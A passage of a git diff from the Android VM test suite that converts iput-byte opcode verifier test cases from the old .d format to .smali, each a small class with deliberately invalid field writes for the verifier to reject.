+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_14.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_14;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d
deleted file mode 100644
index 2f14e14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_15.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_15
-.super dot/junit/opcodes/iput_byte/d/T_iput_byte_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/d/T_iput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_pvt1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali
new file mode 100644
index 0000000..a0ca572
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_15.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_15;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d
deleted file mode 100644
index 1f8bd94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_17.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_17.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali
new file mode 100644
index 0000000..c3befbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_17.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d
deleted file mode 100644
index 153aae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_18.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali
new file mode 100644
index 0000000..4ad05cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_18.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d
deleted file mode 100644
index 3805c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_2.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_2
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-byte v0, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali
new file mode 100644
index 0000000..bcd20d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_2.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali
new file mode 100644
index 0000000..f2ccbc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_20;
+.super Ljava/lang/Object;
+.source "T_iput_byte_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-byte p0, p0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d
deleted file mode 100644
index 78dde15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_21.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali
new file mode 100644
index 0000000..92cabd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_21.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d
deleted file mode 100644
index a81dfb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_22.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali
new file mode 100644
index 0000000..e135847
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_22.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d
deleted file mode 100644
index afae162..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_23.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali
new file mode 100644
index 0000000..f2fc0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_23.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d
deleted file mode 100644
index ac31166..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_24.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali
new file mode 100644
index 0000000..a2eb69e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_24.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d
deleted file mode 100644
index c3a8828..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_3.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_3
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-byte v0, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_3.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali
new file mode 100644
index 0000000..252b801
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_3.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d
deleted file mode 100644
index b29c0e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_30.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_30
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_byte/d/T_iput_byte_30
-    const v1, 0
-    iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_30.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali
new file mode 100644
index 0000000..190789a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_30.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d
deleted file mode 100644
index 7c26ab6..0000000
